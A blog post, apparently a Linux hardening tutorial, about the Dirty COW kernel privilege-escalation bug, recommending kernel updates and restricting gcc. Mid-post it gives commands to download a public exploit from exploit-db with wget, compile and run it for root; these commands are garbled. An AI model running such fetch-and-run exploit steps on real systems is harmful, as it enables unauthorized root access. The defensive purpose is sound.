A couple of months ago we have seen that a new vulnerability created a lot of uproar in the network, both because of its dangerousness and the time it has been “hidden” without anyone seeing it.
The vulnerability, called Dirty COW (Dirty Copy on Write) takes advantage of a flaw in the kernel code to execute code and gain privileges, so while this bug has not been listed as critical (mainly because it is an exploitable vulnerability Locally and not remotely) yes it is important to solve it as soon as possible, because if someone takes remote control of the machine, even at the user level, you can take advantage of the bug to escalate privileges; especially when there are enough public exploits circulating on the Internet such as that found in exploit-db: https://www.exploit-db.com/exploits/40616/ ; Exploits that are as easy as compiling and executing them.
This vulnerability is present from no less than nine years and is that an unprivileged user can read and write parts of the system belonging to other users (including root), skipping all restrictions imposed by the system permissions. This could be done in any kernel whose version is between the 2.6.22 and 3.9 (inclusive), which covers many versions of the kernel. It is true that any moderately current system is superior to the 3.9 version but how many old systems have we seen there? How many computers in the world have operating systems, Kernels and old applications that work under the premise: “Works well with what you do not touch”?
Knowing if our kernel is vulnerable or not is as simple as typing the command:
uname -r
Kernel Version not vulnerable
Kernel version vulnerable
For anyone who might doubt the ease with which you can test the concept with the exploit, let’s test on this vulnerable computer that we have. It should only download the exploit using wget, and call cowroot.c :
wget https: // www.exploit-db.com / download / 40616 --no-check-certificate mv 40616 cowroot.c
Now with the exploit downloaded, it would only have to be adapted to work with an x86 or x64 architecture. By default it would be prepared for x64 environments, as they are the most common today; In this case, only:
gcc -o cowroot.c , or COW -pthread chmod + x COW . / COW
With this we would be root, because the exploit is oriented to scale privileges to be root; So that without having knowledge of C and have done absolutely nothing that can be considered complex, we have become root, which is very worrying, because although you can only take advantage of vulnerability if you have access to the computer, the power offered by this bug is worrying. Yet this post is not geared to show how to use this exploit but how to avoid the above or similar cases. The truth is that to protect this particular bug it is safer and easier to update the kernel and ready, but imagine that this is not enough, or worse still that even updating the kernel, we see that, similar vulnerabilities can be seen in the near future.
How to deal with this? If we think about it with some depth, we can see that most exploits of this type require downloading a package to later compile it and run it on the computer itself, so we can deduce that the compilation is a double-edged sword.
It is always said that the ideal is to have the minimum installed on a computer or server, as something that has installed, which can be used to enter unauthorized on the computer or, in this case, to escalate privileges. And this is a case that can serve as an example. What did we use to have made and gcc installed if we do not compile packages regularly? Or what is more: Why can we do such an important task without this requiring any kind of privilege? The easiest way to avoid these problems is to simply uninstall the make and gcc packages and install them only at specific times:
apt-get purge make gcc but this is not always an option. That’s why, if you look at the permissions which have the gcc binary, we will see that EVERYONE has TOTAL control over it, which, although sometimes comfortable, can be counterproductive.
One way to prevent any compile in our team is to limit the permissions of this binary so that only root can use it; which would be as simple as:
chmod 700 / usr / bin / gcc
This would only allow users with the root credentials to use this binary, which would make gcc still usable but that would add an extra layer of security to our team.
Either of these two measures would not only protect us from Dirty COW but from other possible future threats that require local compilation; making our system at least a bit more robust than it was before.
Even so, this can also serve as a small demonstration of the importance of keeping our systems up-to-date, as the more recent “versions” of the kernel are exempt from this vulnerability.
I hope you have found it useful.
